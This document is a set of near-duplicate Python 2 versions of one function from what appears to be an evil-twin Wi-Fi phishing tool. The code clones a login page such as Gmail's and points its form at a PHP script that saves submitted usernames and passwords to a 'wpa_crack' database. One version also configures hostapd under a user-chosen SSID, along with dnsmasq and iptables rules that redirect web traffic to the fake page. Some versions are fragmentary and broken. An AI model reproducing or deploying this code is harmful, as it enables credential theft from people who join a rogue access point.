def get_login_page(): httplib.HTTPConnection.debuglevel = 1 request = urllib2.Request('https://gmail.com') opener = urllib2.build_opener(redirecthandle.SmartRedirectHandler()) f = opener.open(request) ##article = re.sub(r'(?is)</html>.+', '</html>', article) redirect = f.url ##response = urllib2.urlopen('https://google.com') html = f.read() print "Found the login page here: " + f.url ########## regex search and replace regex = re.search(r'action="([^"]*)".*?', html) post_action = str(regex.group(0)) print "*" * 20 print 'modifying the login page...' new_login = html.replace(post_action, 'action=getcreds.php') ##### create a login page index_page = open('/var/www/index.html', 'wb') index_page.write(new_login) index_page.close() ############# MOFIYING THE POST SCRIPT myhtml = open('/var/www/index.html', 'r') read_html = myhtml.read() myhtml.close() number = 0 html_proc = BeautifulSoup(read_html) inputs = html_proc.findAll('input') for i in inputs: print str(number) + ": " + str(i) number = number + 1 #username_select = input('Please choose the username or email ID in numeric representation: ') user = str( raw_input('Please enter the username / email of the target script:') ).strip() password = str( raw_input('Please enter the password of the target script: ')).strip() tmp = read_html.replace('name="' + user + '"', 'name="username"').replace( 'name="' + password + '"', 'name="password"') new_page = open('/var/www/index.html', 'wb') new_page.write(tmp) new_page.close() time.sleep(3)
def get_login_page(): httplib.HTTPConnection.debuglevel = 1 request = urllib2.Request('http://localhost/test.html') opener = urllib2.build_opener(redirecthandle.SmartRedirectHandler()) f = opener.open(request) ##article = re.sub(r'(?is)</html>.+', '</html>', article) redirect = f.url ##response = urllib2.urlopen('https://google.com') html = f.read() print "Found the login page here: " + f.url ########## regex search and replace #regex = re.search(r'action="([^"]*)".*?', html) #post_action = str(regex.group(0)) print "*" * 20 print 'modifying the login page...' #new_login = html.replace(post_action, 'action=getcreds.php') ##### create a login page #index_page = open('/var/www/index.html','wb') #index_page.write(new_login) #index_page.close() ############# MOFIYING THE POST SCRIPT myhtml = open('/var/www/test.html', 'r') read_html = myhtml.read() myhtml.close() #number = 0 #html_proc = BeautifulSoup(read_html) #inputs = html_proc.findAll('input') regex = re.search(r'action="([^"]*)".*?', read_html) #post_action = str(regex.group(0)) print regex.group[1]
def get_login_page(): httplib.HTTPConnection.debuglevel = 1 request = urllib2.Request('https://gmail.com/') opener = urllib2.build_opener(redirecthandle.SmartRedirectHandler()) f = opener.open(request) # article = re.sub(r'(?is)</html>.+', '</html>', article) redirect = f.url # response = urllib2.urlopen('https://google.com') html = f.read() print "Found the login page here: " + f.url ########## regex search and replace regex = re.search(r'action="([^"]*)".*?', html) post_action = str(regex.group(0)) print "*" * 20 print 'modifying the login page...' new_login = html.replace(post_action, 'action=getcreds.php') ##### create a login page index_page = open('/var/www/index.html', 'wb') index_page.write(new_login) index_page.close() time.sleep(10)
def get_login_page(): def ask(parent=None, message='', default_value=''): dlg = wx.TextEntryDialog(parent, message, defaultValue=default_value) dlg.ShowModal() result = dlg.GetValue() dlg.Destroy() return result # target_url = str(ask(message='Enter the target URL')).strip() httplib.HTTPConnection.debuglevel = 1 request = urllib2.Request(target_url) opener = urllib2.build_opener( redirecthandle.SmartRedirectHandler()) f = opener.open(request) ##article = re.sub(r'(?is)</html>.+', '</html>', article) redirect = f.url ##response = urllib2.urlopen('https://google.com') html = f.read() #print "Found the login page here: " + f.url ########## regex search and replace regex = re.search(r'action="([^"]*)".*?', html) post_action = str(regex.group(0)) #~ print "*" * 20 #~ print 'modifying the login page...' new_login = html.replace(post_action, 'action=getcreds.php') ##### create a login page index_page = open('/var/www/index2.html', 'wb') index_page.write(new_login) index_page.close() ############# MOFIYING THE POST SCRIPT myhtml = open('/var/www/index2.html', 'r') read_html = myhtml.read() myhtml.close() number = 0 html_proc = BeautifulSoup(read_html) inputs = html_proc.findAll('input') panel = wx.Panel(self, -1) wx.StaticText(panel, -1, '') #self.bSoup = wx.TextCtrl(panel, -1, "", style=wx.TE_MULTILINE,pos=(30, 200),size=(500,350)) #input_file = open('input_file.txt', 'wb') #self.bSoup.AppendText('adsf') for i in inputs: #print str(number) +": " +str(i) number = number + 1 self.bSoup.AppendText(str(number) + ": " + str(i) + "\n") # input_file.write(str(number) +": " +str(i)) #input_file.close() def ask(parent=None, message='', default_value=''): dlg = wx.TextEntryDialog(parent, message, defaultValue=default_value) dlg.ShowModal() result = dlg.GetValue() dlg.Destroy() return result #username_select = input('Please choose the username or email ID in numeric representation: ') user = str(ask(message='Enter Username/Email')).strip() password = str(ask(message='Enter Password')).strip() tmp = read_html.replace('name="' + user + '"', 'name="username"').replace( 'name="' + password + '"', 'name="password"') new_page = open('/var/www/index.html', 'wb') new_page.write(tmp) new_page.close() os.system('firefox http://localhost/index.html &')
def get_login_page(): # httplib.HTTPConnection.debuglevel=1 request = urllib2.Request('http://localhost/login.html') opener = urllib2.build_opener(redirecthandle.SmartRedirectHandler()) f = opener.open(request) ##article = re.sub(r'(?is)</html>.+', '</html>', article) redirect = f.url ##response = urllib2.urlopen('https://google.com') html = f.read() #print "Found the login page here: " + f.url ########## regex search and replace regex = re.search(r'action="([^"]*)".*?', html) post_action = str(regex.group(0)) #~ print "*" * 20 #~ print 'modifying the login page...' new_login = html.replace(post_action, 'action=getcreds.php') ##### create a login page index_page = open('/var/www/index2.html','wb') index_page.write(new_login) index_page.close() ############# MOFIYING THE POST SCRIPT myhtml = open('/var/www/index2.html', 'r') read_html = myhtml.read() myhtml.close() number = 0 html_proc = BeautifulSoup(read_html) inputs = html_proc.findAll('input') panel = wx.Panel(self,-1) #wx.StaticText(panel, -1, '') #self.bSoup = wx.TextCtrl(panel, -1, "Please select the username and password from the form", style=wx.TE_MULTILINE,pos=(30, 200),size=(500,350)) for i in inputs: print str(number) +": " +str(i) number = number + 1 self.bSoup.AppendText(str(number) +": " +str(i)+"\n") def ask(parent=None, message='', default_value=''): dlg = wx.TextEntryDialog(parent, message, defaultValue=default_value) dlg.ShowModal() result = dlg.GetValue() dlg.Destroy() return result #username_select = input('Please choose the username or email ID in numeric representation: ') user = str(ask(message = 'Enter Username')).strip() password = str(ask(message = 'Enter Password')).strip() ssid = str(ask(message = 'Enter the SSID')).strip() tmp = read_html.replace('name="'+user+'"','name="username"').replace('name="'+password+'"', 'name="password"') new_page = open('/var/www/index.html', 'wb') new_page.write(tmp) new_page.close() os.system('firefox http://localhost/index.html &') time.sleep(3) #mon_interface = Popen(["airmon-ng", "start", wireless_interface], stdout=PIPE).communicate()[0] hostapd = open('/etc/hostapd/hostapd.conf', 'wb') #~ config_file = "interface="+wireless_interface+"\ndriver=nl80211\nssid=thisisme\nchannel=1\n#enable_karma=1\n" config_file = "interface=wlan0\ndriver=nl80211\nssid="+str(ssid)+"\nchannel=1\n#enable_karma=1\n" hostapd.write(config_file) hostapd.close() os.system("service hostapd start") os.system("""sed -i 's#^DAEMON_CONF=.*#DAEMON_CONF=/etc/hostapd/hostapd.conf#' /etc/init.d/hostapd cat <<EOF > /etc/dnsmasq.conf log-facility=/var/log/dnsmasq.log #address=/#/10.0.0.1 #address=/google.com/10.0.0.1 interface=wlan0 dhcp-range=10.0.0.10,10.0.0.250,12h dhcp-option=3,10.0.0.1 dhcp-option=6,10.0.0.1 #no-resolv log-queries EOF""") os.system("service dnsmasq start") #~ os.system("""ifconfig wlan0 up #~ ifconfig wlan0 10.0.0.1/24 #~ #~ iptables -t nat -F #~ iptables -F #~ iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE #~ iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT #~ echo '1' > /proc/sys/net/ipv4/ip_forward""") #~ print "finished the setup of nat" #~ os.system("""ifconfig wlan0 up #~ ifconfig wlan0 10.0.0.1/24 #~ iptables --flush #~ iptables --table nat --flush #~ iptables --delete-chain #~ iptables --table nat --delete-chain #~ echo 1 > /proc/sys/net/ipv4/ip_forward #~ iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE #~ iptables --append FORWARD --in-interface at0 -j ACCEPT #~ iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1:80 #~ iptables -t nat -A POSTROUTING -j MASQUERADE""") os.system("""ifconfig wlan0 up ifconfig wlan0 10.0.0.1/24 iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain echo 1 > /proc/sys/net/ipv4/ip_forward iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE iptables --append FORWARD --in-interface at0 -j ACCEPT iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1:80 iptables -t nat -A POSTROUTING -j MASQUERADE""") print "finished the setup of nat"
def get_login_page(): # import db_connect_creds username, password = db_connect_creds.read_creds() getcredsphp = ''' <?php $con=mysqli_connect("localhost","%s","%s","wpa_crack"); // Check connection if (mysqli_connect_errno()) { echo "Failed to connect to MySQL: " . mysqli_connect_error(); } // escape variables for security $firstname = mysqli_real_escape_string($con, $_POST['username']); $lastname = mysqli_real_escape_string($con, $_POST['password']); $cDate= date("F j, Y, g:i a"); $hyphenput = "<->"; $sql="INSERT INTO content (key1, key2) VALUES ('$cDate.$hyphenput.$firstname', '$lastname')"; if (!mysqli_query($con,$sql)) { die('Error: ' . mysqli_error($con)); } echo "Now you may start browsing Internet"; //header('Location: http://google.com'); mysqli_close($con); ?> ''' %(username, password) tmpfile = open('/var/www/html/getcreds.php','w') tmpfile.write(getcredsphp) tmpfile.close() httplib.HTTPConnection.debuglevel = 1 request = urllib2.Request('http://localhost/login.html') opener = urllib2.build_opener(redirecthandle.SmartRedirectHandler()) f = opener.open(request) ##article = re.sub(r'(?is)</html>.+', '</html>', article) redirect = f.url ##response = urllib2.urlopen('https://google.com') html = f.read() # print "Found the login page here: " + f.url ########## regex search and replace regex = re.search(r'action="([^"]*)".*?', html) post_action = str(regex.group(0)) # ~ print "*" * 20 # ~ print 'modifying the login page...' new_login = html.replace(post_action, 'action=getcreds.php') ##### create a login page index_page = open('/var/www/index2.html', 'wb') index_page.write(new_login) index_page.close() index_page2 = open('/var/www/html/index2.html', 'wb') index_page2.write(new_login) index_page2.close() ############# MOFIYING THE POST SCRIPT myhtml = open('/var/www/html/index2.html', 'r') read_html = myhtml.read() global read_html2 read_html2 = read_html myhtml.close() number = 0 html_proc = BeautifulSoup(read_html) inputs = html_proc.findAll('input') temparray = [] for i in inputs: try: regexstring = str(i).replace('"', '\'') regex_check = re.search(r'id=([^\s]+)', str(regexstring)).group(0).replace('id=', '') # ~ print regex_check # ~ print regex_check.group(0) temparray.append(regex_check) # ~ tmp = re.search(r'id=([^\s]+)', check).group(0).replace('id=','') # ~ # ~ temparray.append(tmp.replace('"','\'')) except: print '' self.mylistbox.Set(temparray)
def get_login_page(): # httplib.HTTPConnection.debuglevel = 1 request = urllib2.Request('http://localhost/login.html') opener = urllib2.build_opener( redirecthandle.SmartRedirectHandler()) f = opener.open(request) ##article = re.sub(r'(?is)</html>.+', '</html>', article) redirect = f.url ##response = urllib2.urlopen('https://google.com') html = f.read() #print "Found the login page here: " + f.url ########## regex search and replace regex = re.search(r'action="([^"]*)".*?', html) post_action = str(regex.group(0)) #~ print "*" * 20 #~ print 'modifying the login page...' new_login = html.replace(post_action, 'action=getcreds.php') ##### create a login page index_page = open('/var/www/index2.html', 'wb') index_page.write(new_login) index_page.close() index_page2 = open('/var/www/html/index2.html', 'wb') index_page2.write(new_login) index_page2.close() ############# MOFIYING THE POST SCRIPT myhtml = open('/var/www/html/index2.html', 'r') read_html = myhtml.read() global read_html2 read_html2 = read_html myhtml.close() number = 0 html_proc = BeautifulSoup(read_html) inputs = html_proc.findAll('input') temparray = [] for i in inputs: try: regexstring = str(i).replace('"', '\'') regex_check = re.search(r'id=([^\s]+)', str(regexstring)).group(0).replace( 'id=', '') #~ print regex_check #~ print regex_check.group(0) temparray.append(regex_check) #~ tmp = re.search(r'id=([^\s]+)', check).group(0).replace('id=','') #~ #~ temparray.append(tmp.replace('"','\'')) except: print '' self.mylistbox.Set(temparray)